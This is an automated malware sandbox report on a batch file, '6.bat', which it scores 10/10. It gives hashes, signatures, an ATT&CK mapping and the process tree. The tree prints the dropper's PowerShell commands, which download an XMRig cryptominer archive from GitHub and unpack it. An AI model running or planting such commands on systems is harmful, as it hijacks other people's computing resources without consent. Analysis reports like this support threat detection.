c0768ace239b9f133dfbb33d830ff9bf0580b167e2a6b0f015950f7aa2b1f768

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Analysis

max time kernel
1558s
max time network
1559s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
20/05/2024, 21:02

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General

Target

6.bat
Size

599B
MD5

798b979417aa88e5323ead9be2d8425c
SHA1

a54c5133c71afddf697f302b36bdb930c72852ce
SHA256

f83d724987f9f4a0843c0b0abd01f3f5ceccbc8e7babad76c2639e1bef2fee07
SHA512

a4f2ff598bc26b5ee7778b34b34aafd20e43f714c5f841b9fe73cdc6e1c3e47e44ffb94ff06ccd7dd263116201ff6754c956c1ea8f588acf6927f35446b5036b

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2404	powershell.exe
4	2404	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2404	powershell.exe
2704	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2404	powershell.exe
2704	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2404	powershell.exe
Token: SeDebugPrivilege	2704	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2412 wrote to memory of 2404	2412	cmd.exe	29
PID 2412 wrote to memory of 2404	2412	cmd.exe	29
PID 2412 wrote to memory of 2404	2412	cmd.exe	29
PID 2412 wrote to memory of 2704	2412	cmd.exe	30
PID 2412 wrote to memory of 2704	2412	cmd.exe	30
PID 2412 wrote to memory of 2704	2412	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\6.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2412
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip', 'xmrig-6.21.3-msvc-win64.zip')"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2404
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'xmrig-6.21.3-msvc-win64.zip' -DestinationPath '.'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2704

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XQMPVAGVGP684M9Z511H.temp

Filesize
7KB

MD5
c88cd942063fb23e820dea2e2e08af06

SHA1
7b2f8bd76eb3650883fe8c9617505e9292188076

SHA256
6fa846ec11a9810ce9b37dc0d1d5a509fc1b0e22dc3871bc818d3f1cdb580eff

SHA512
4dc2b97e8b280863cc7ec0bd7a66e53d8fb27d214ead09a048d494ca8fb4b2eb7a7f44f3c2646b1f7100bceb6037c65b8a0c2764c45a515e4d0cf219871a7cad

Download Submit
memory/2404-4-0x000007FEF62BE000-0x000007FEF62BF000-memory.dmp

Filesize
4KB

Download
memory/2404-5-0x000000001B580000-0x000000001B862000-memory.dmp

Filesize
2.9MB

Download
memory/2404-7-0x000007FEF6000000-0x000007FEF699D000-memory.dmp

Filesize
9.6MB

Download
memory/2404-8-0x000007FEF6000000-0x000007FEF699D000-memory.dmp

Filesize
9.6MB

Download
memory/2404-6-0x0000000002250000-0x0000000002258000-memory.dmp

Filesize
32KB

Download
memory/2404-9-0x000007FEF6000000-0x000007FEF699D000-memory.dmp

Filesize
9.6MB

Download
memory/2404-10-0x000007FEF6000000-0x000007FEF699D000-memory.dmp

Filesize
9.6MB

Download
memory/2404-11-0x000007FEF6000000-0x000007FEF699D000-memory.dmp

Filesize
9.6MB

Download
memory/2404-12-0x000007FEF6000000-0x000007FEF699D000-memory.dmp

Filesize
9.6MB

Download
memory/2704-18-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

Filesize
2.9MB

Download
memory/2704-19-0x0000000001E80000-0x0000000001E88000-memory.dmp

Filesize
32KB

Download